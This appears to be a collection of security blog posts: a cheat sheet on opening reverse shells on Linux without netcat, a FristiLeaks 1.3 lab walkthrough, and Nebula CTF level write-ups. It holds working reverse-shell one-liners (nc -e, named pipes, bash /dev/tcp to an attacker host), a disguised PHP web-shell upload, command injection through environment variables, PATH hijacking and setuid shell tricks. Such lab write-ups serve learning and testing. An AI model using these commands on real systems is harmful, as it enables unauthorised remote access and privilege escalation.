Reverse shells even without nc on Linux

Often when I get remote command execution on a linux system for example I’ve planted my one line php script , the next step is getting a remote shell. Usually an nc listener would be used to receive the reverse shell, and I normally start it with the -v option so that it will show when a connection is received.

If nc or ncat is installed, it should be fairly simple to send the shell to my listener. Something like this should send a reverse shell to a nc listener, running on DEST_IP:DEST_PORT:

nc DEST_IP DEST_PORT -e /bin/bash

or I could set up a bind shell on the system then connect to it later using nc:

nc -lp 4444 -e /bin/bash

It should be noted that some versions of nc (e.g. BSD) don’t need the -p option if -l is specified (in fact it is not valid to use -p with -l on those versions), and some don’t have the -e option.

It may be even better to use the -c switch instead of -e if it is available because then you can pass more than an executable name to execute. This example forwards stderr as well as stdout from bash:

nc DEST_IP DEST_PORT -c "/bin/bash 2>&1"

If there is no -e option, there are ways around it. One example is to use two nc listeners connected to bash, one to send commands and one to receive output:

nc DEST_IP DEST_PORT | /bin/bash 2>&1 | nc DEST_IP DEST_PORT+1

This is not very elegant, but it does work. We can temporarily create a named pipe and use that to connect to a single nc listener:

mkfifo /tmp/pipe;cat /tmp/pipe|nc DEST_IP DEST_PORT|/bin/bash &>/tmp/pipe;rm /tmp/pipe

There might also be ncat available on the system, which can be used just like nc in the first 4 examples above, and ncat provides options like –ssl which can be used to encrypt traffic and even verify identity..

If no versions of netcat are installed, we can always try bash redirection. Check whether commands are running inside bash with:

$echo $0

or:

echo $SHELL

If commands are running in bash, then great, we can use bash’s tcp redirections like this:

bash &>/dev/tcp/DEST_IP/DEST_PORT <&1

This will execute bash, and forward stdout and stderr to DEST_IP:DEST_PORT and read stdin from the same. If I set up a nc listener on DEST_PORT:DEST_IP beforehand I should receive a shell.

If commands are running in something like sh, which doesn’t have tcp redirection, we can check whether bash is installed with:

which bash

an if it is, just execute the commands inside bash to get redirection:

bash -c "bash &>/dev/tcp/DEST_IP/DEST_PORT <&1"

When sending these commands in a query string (e.g to a backdoor php file), watch out for url escaping the commands. If you’re typing them into the address bar, most browsers will url escape the characters, but ampersand (“&”) often catches me out because it’s valid in a url as a query string delimiter, so it won’t be escaped for you.

If there are no versions of netcat or bash installed, then it might be time to start investigating other using other languages (e.g. perl/python) to send the shell over tcp which is outside the scope of this post.

Once you have a remote shell, executing interactive tools like sudo and passwd won’t work, but if python is installed, this one liner will make them work:

python -c "import pty;pty.spawn('/bin/bash')"

I’m sure it’s possible do similar things in other languages if python isn’t installed.

FristiLeaks 1.3

Following on from my previous post about Kioptrix 2014, this post will be about how I got root on the next VM in the list, which is FristiLeaks 1.3

So the first thing I did after turning the VM on was notice in the console that it displays it’s IP address so there is no need to run netdiscover. So lets start with nmap:

root@kali:~# nmap -A [IP-REDACTED]

Starting Nmap 7.40 ( https://nmap.org ) at 2017-10-21 14:02 EDT
Nmap scan report for [IP-REDACTED]
Host is up (0.00035s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods: 
|_ Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries 
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.35 ms [IP-REDACTED]

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.46 seconds

Interesting results; port 80 is the only open port, and unsurprisingly it’s running a web server on that port. nmap has handily checked for a robots.txt on that system and found 3 directories listed (cola, sis, beer). Time to fire up a web browser and take a look.

The index page is not that interesting, but in the source, it does suggest that I should be able to get root within four hours. It took me at least twice that! The three directories mentioned earlier all appear to server the same page with a single meme on suggesting I’m in the wrong place. Interestingly, the image is served from an “images” directory and when I go there, I am given a listing of the directory which appears to contain only this meme and the image used in the index page.

At this point, I didn’t really know what I was supposed to do, but I tried going to the “fristi” directory and got lucky, because I was presented with an admin login page. If I hadn’t been so lucky, I would have used dirb, so I did this later with standard wordlists and it didn’t find anything. I then created a text file with all the words from both pages and both images and it then found the page.

This admin page requires a username and password, and I don’t have either, though I could guess at passwords, and I did try things like “Nelson” (the Simpsons character in the image), but didn’t get anywhere. The source of the page has a comment from someone who calls themselves “eezeepz”. There is also a comment in the meta description that says that images are base64 encoded, and they’re right. The image of Nelson is base64 encoded, and there is also a comment below it that is base64 encoded data. That comment happens to be a base64 encoded png, the content of which is the letters “keKkeKKeKKeKkEkkEk” in comic-sans font. That looks like a password, and combined with the username “eezeepz”, I am able to log in.

The page I am taken to after I log in is one where I can apparently upload a file. We know this web server runs php, so it makes sense to try to upload a php script, but when we try that it tells us that we can only upload png, jpg and gif files. I assume this is enforced by file extension rather than validating the content of the file. Most web servers will only execute files ending in .php, but a common misconfiguration is to make them execute files with .php anywhere in the name, so I called my file backdoor.php.png so I tried uploading my one line php shell with a png extension, which it appeared to accept and told me it had been placed in /uploads. Sure enough directing my web browser to http://[IP-REDACTED]/fristi/uploads/backdoor.php.png?e=whoami told me that I was able to execute commands as the user called apache.

Viewing the /etc/passwd file showed me that there were some other users that look interesting (root, ezeepz, admin, fristi & fristigod). and looking in the /var/www directory showed a notes.txt file that has a message from “jerry” to eezeepz telling them to clean their home directory, but not to “delete the important stuff”. I also noticed that I can list the contents of /home/eezeepz. In /home/eezeepz there is another notes.txt, this one is another message from “jerry” basically telling me how to run a select few commands under his account (admin). The message says to put commands in a file called /tmp/runthis and those commands will be run every minute with the results written to /tmp/cronresult.

This command in my backdoor should tell me what is in the admin account

echo "ls ~" >/tmp/runthis;sleep 60;cat /tmp/cronresult

but unfortunately it only tells me that my command has to start with /home/admin or usr/bin. neither of these contain ls, but /home/admin contains grep, so I can try this:

echo "/home/admin/grep -c . ~/*" >/tmp/runthis;sleep 60;cat /tmp/cronresult

which should tell me which files are in admin’s home folder, and it does. Files of interest are cronjob.py, cryptedpass.txt cryptpass.py whoisyourgodnow.txt. I should be able to get the contents of cronjob.py by doing:

echo "/home/admin/grep . *.py *.txt" >/tmp/runthis;sleep 60;cat /tmp/cronresult

The output from this shows me how the cronjob works. It looks like (due to a bug) it checks for ‘|&;’ instead of ‘|’ or ‘&’ or ‘;’ (they should probably have used the “any()” builtin) so I can get away with running any command as admin, as long as I prefix it with /home/admin/, (e.g. “/home/admin/echo a; ls ~” to list the content of /home/admin) and it also shows me two poorly “encrypted” passwords and a python script that was used to “encrypt” them.

I can decrypt these passwords by creating a simple python script to reverse the steps done by the cryptpass.py script:

#decrypt.py
import base64, codecs, sys
def decodeString(str):
    base64string= codecs.decode(str[::-1], 'rot13')
    return base64.b64decode(base64string)
cryptoresult=decodeString(sys.argv[1])
print cryptoresult

When I run this with the encrypted password, I get “thisisalsopw123” from cryptedpass.txt, and “LetThereBeFristi!” from whoisyourgodnow.txt.

Running these commands as admin one at a time through web server then waiting for the cron job to run is a bit slow. It’s time to figure out how to get a reverse shell, then we should be able to switch users using the su command. I know that there is no nc or ncat or netcat on this system because I ran “which nc nectar cat” as apache and was told it doesn’t exist. Bash does though, and using redirection to and from bash’s builtin /dev/tcp, I can get similar results to using nc and bash

I started a netcat listener enemy attacking machine using “nc -vnlp 4444” then using my backdoor.php.png, I ran “bash -i >/dev/tcp/[IP-REDACTED]/4444 0>&1 2>&1”. I had to made sure to url encode this one before I requested it with my web browser for some reason because it wouldn’t work otherwise.

So now I have a shell as apache, but when I try to “su admin” it tells me that “standard in must be a tty”, and I am still the apache user. Luckily, I found a one line command that works around this and gives me a tty that I can run su in:

python -c 'import pty; pyt.spawn("/bin/bash")'

and I can use the passwords I decrypted earlier for the admin and the fristigod accounts.

There isn’t much of interest in /home/frisitigod, but that’s not frisitigod’s home directory. The home dir is /var/fristigod and inside there is a hidden folder called .secret_admin_stuffand it contains one executable file called doCom, owned by root and with the suid bit set. Unfortunately running it tells me that I’m the wrong user.

I got stuck at this point and tried various things like running the program as apache and as  admin and running as root using sudo using all the accounts I have access to. I tried running strings against the file to figure out if I could see a username or id, but I wasn’t able to. Running strings did tell me that the usage is “./program_name terminal_command” though, so it looks like it’s a way of running any command as root (obviously terribly insecure).

Eventually I noticed in fristigod’s .bash_history file there was evidence that this program had been run by fristigod as the first user (using sudo -u, which I had to read up on because I didn’t know that was a thing!). So the following command confirmed that I was able to run commands as root:

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id

running bash as root gives me a root shell. There is a txt file in /home/root that I can now read, which congratulates me and suggests that it should have taken me 4 hours (it took me much longer) and lastly has the flag.

I really enjoyed this machine, especially as it didn’t have any known exploits to compile and or run. It was all just configuration mistakes and silly security mistakes. I also really enjoyed having to work around not being able to use nc on this system since it wasn’t present.

Exploit Exercises – Nebula – Level 06

Even less information about this one:

The flag06 account credentials came from a legacy unix system.
To do this level, log in as the level06 account with the password level06 . Files for this level can be found in /home/flag06.

I had a good idea what I’m looking for here, an easy to crack password hash in /etc/passwd rather than in the shadow file, so:

cat /etc/passwd | grep flag06

shows me the hash is ueqwOCnSGdsuM. I need to “crack” the hash. Time to get john the ripper on the case. At this point I didn’t have any other linux machines to hand, so I went to another tty session on this one and logged in a nebula and installed john (sudo apt-get install john). Then I ran john on the password file (john /etc/passwd) and he showed me the password. I switched over to flag06 account and the password worked as expected.

Exploit Exercises – Nebula – Level 05

Not much information to start on this one:

Check the flag05 home directory. You are looking for weak directory permissions
To do this level, log in as the level05 account with the password level05 . Files for this level can be found in /home/flag05.

The command ll (an alias for ls-alF) showed me that I had read access to ~flag05/.backup, and in there was a backup gzipped tar. Hopefully some goodies in here…

I unpacked the tar and found that it contained a folder called .ssh. This is used for secure shell authentication. That folder contained a private/public key pair and an authorized_keys file. The authorised_keys file is exactly the same as the public key file, so (assuming that the authorised_keys file had not been deleted since the backup) I should be able to ssh in using the private key, as long as it was not encrypted with a passphrase.

I copied the id_rsa file to ~/.ssh and tried to connect using:

ssh flag05@localhost

Bingo!

Exploit Exercises – Nebula – Level 04

The information about this level says:

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it 🙂
To do this level, log in as the level04 account with the password level04 . Files for this level can be found in /home/flag04.

It also contains some source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
 
int main(int argc, char **argv, char **envp)
{
    char buf[1024];
    int fd, rc;
 
    if(argc == 1) {
        printf("%s [file to read]\n", argv[0]);
        exit(EXIT_FAILURE);
    }
 
    if(strstr(argv[1], "token") != NULL) {
        printf("You may not access '%s'\n", argv[1]);
        exit(EXIT_FAILURE);
    }
 
    fd = open(argv[1], O_RDONLY);
    if(fd == -1) {
        err(EXIT_FAILURE, "Unable to open %s", argv[1]);
    }
 
    rc = read(fd, buf, sizeof(buf));
 
    if(rc == -1) {
        err(EXIT_FAILURE, "Unable to read fd %d", fd);
    }
 
    write(1, buf, rc);
}

Its fairly clear from looking at the files and the source code (I will admit I had to use a lot of man to help me understand the source code) that I want to read the contents of “token”, but the program won’t allow it. I tried things like ./token and ../flag04/token, but that didn’t work because the program is just searching for the string “token” anywhere in the first argument. Well… how do I get the contents of that file “into” another file without having permission to read the file? Symbolic link! Here’s what I did:

1
2
ln -s ~flag04/token /tmp/link
~flag04/flag04 /tmp/link

It turns out that the contents of the token file is the password for the flag04 account so I just did su flag04 and used that password. I ran getflag and violà!

Exploit Exercises – Nebula – Level 03

The information about this level says:

Check the home directory of flag03 and take note of the files there.
There is a crontab that is called every couple of minutes.
To do this level, log in as the level03 account with the password level03 . Files for this level can be found in /home/flag03.

Well looking in ~flag03 there is just one directory (writable.d) file and one file (writable.sh). I’m assuming that the cron job runs writable.sh every couple of minutes so I looked at that script. I can see that the script runs every file in the writable.d folder (which we have write access to), but will kill the process if it takes longer than 5 seconds. It then removes the file.

What we could do is make a quick bash script that will run getflag and save the output like this:

1
2
#!/bin/sh
getflag > /tmp/getflag.out

Which works (after we wait for the cron job to run it), but I want shell! So we’re going to borrow a trick from level01 and create a program that will launch a bash shell and get flag03 to set the setuid bit.

My C program looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
 
int main() {
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();
 
    setresgid(gid, id, gid);
    setresuid(uid, uid, uid);
 
    system("/bin/bash");
}

Now I just compile it with gcc and drop it in /tmp so that flag03 can access it. All I need the cron job to do now is make a copy and set the setuid bit, so here is the script I dropped in ~flag03/writable.d:

1
2
3
#!/bin/sh
cp /tmp/setuidshell /tmp/setuidshell2
chmod u+s /tmp/setuidshell2

This got me a program (/tmp/setuidshell2) in that gave me shell. From here I was able to run getflag, and also to run crontab -l to see that the cron job is actually called every 3 minutes.

Exploit Exercises – Nebula – Level 02

The information about this level says:

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level02 account with the password level02 . Files for this level can be found in /home/flag02.

It also contains some source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
 
int main(int argc, char **argv, char **envp)
{
    char *buffer;
 
    gid_t gid;
    uid_t uid;
 
    gid = getegid();
    uid = geteuid();
 
    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);
 
    buffer = NULL;
 
    asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
    printf("about to call system(\"%s\")\n", buffer);
 
    system(buffer);
}

This is similar to the Level 01. An environment variable $USER is being used to construct a string that is printed to the screen before being run. If we can edit that environment variable, we can inject a malicious command.

Initially I changed $USER so that running the program would execute getflag. The command I used was:

USER=;getflag;echo

I’ll break this down:
; – end the command and start a new one
getflag – run the getflag program
; – end the command and start a new one
echo – start a new echo command so that the following arguments don’t cause an error

This results in the following command being run:

/bin/echo ;getflag;echo is cool

I got a success message from get flag, but I wanted shell, so I changed my command to:

USER="Opening escalated shell...;bin/bash;echo Closing pwned shell, now that"

This time I got shell, and some cool text when going into the shell and when coming out (after typing exit)

Exploit Exercises – Nebula – Level 01

Following on from my previous post this one is about level01 of Nebula on exploit-excercises.com. The information about this level says:

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level01 account with the password level01 . Files for this level can be found in /home/flag01.

It also contains some source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
 
int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();
 
    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);
 
    system("/usr/bin/env echo and now what?");
}

I’m not all that familiar with C (I’m more of a scripter), but I can understand enough; this appears to basically sets all uids for the process to the effective uid (presumably the setuid bit is present) and then calls a command line of:

/usr/bin/env echo and now what?

I wasn’t familiar with the env command so used a bit of googling until I learned that env is used to launch programs in a different environment. It also also sometimes used because a script needs to start with a shebang and followed by an interpreter directive, which must be an absolute path. Because some interpreters are not always installed at the same location, env is sometimes used to launch the correct interpreter by file name rather than full path (e.g. #!/usr/bin/env/ python). To do this, env searches through the list of paths in in the environment variable $PATH in order until it finds a correctly named file that it can execute in one of them. Presumably (for some unknown reason) env is being used here to invoke echo, but it means we can make a different echo program run by creating a malicious script and changing $PATH to point to it first.

I changed the path to include /tmp at the beginning by running the follwing command:

PATH=/tmp:$PATH

and then created a new symbolic link called echo to the getflag program:

ln -s /bin/getflag /tmp/echo

Now when I ran the vulnerable program I got a success message, but I wanted to go one further. I wanted shell…

I tried creating a symbolic link to bash, but now running flag01 failed due to the invalid arguments (“and now what?” are valid arguments for echo, but not bash), so I removed the symbolic link and created an executable shell script that ignored all arguments, and saved it as echo in /tmp. It contained the following two lines of code:

1
2
#!/bin/bash
/bin/bash

This, I hoped, would cause the vulnerable program to spawn a shell. I tested it and it worked. I then ran whoami to confirm that I was flag01 and then getflag to get a success message.

Exploit Exercises – Nebula – Level 00

I’ve started to have a look at the challenges offered by exploit-exercises.com and thought I’d document my progress.

This post is about Nebula Level 00. The information about this level says:

This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
Alternatively, look at the find man page.
To access this level, log in as level00 with the password of level00 .

This is a pretty simple challenge, but did mean I had to learn all about normal unix filesystem permissions and the more advanced setuid/setguid/stickybit permissions I also learned how to suppress errors from the find command and how to better use the find and man command.

The command I used was

find / -perm -u=s 2>/dev/null

I’ll break down what this does:

  • find – search for files in a directory hierarchy
  • / – start at the root of the filesystem
  • -perm -u=s – find files that have the setuid bit set in their permissions
  • 2>/dev/null – discard all errors (mostly about not having permission to scan directories)

One of the results was /bin/…/flag00. This (…\) is a suspicious looking directory! Running ll /bin/…/flag00 showed me that the owner was flag00 and the setuid bit was indeed set so I ran the file which told me to now run getflag then changed the user to flag00. Running getflag gave me a success message.

What I liked about this was that I had a shell running as the flag00 user so I could run other commands like whoami before typing exit to get out of the shell. At the time, I had no idea how I was put into a new shell, but it all becomes clearer in the next level…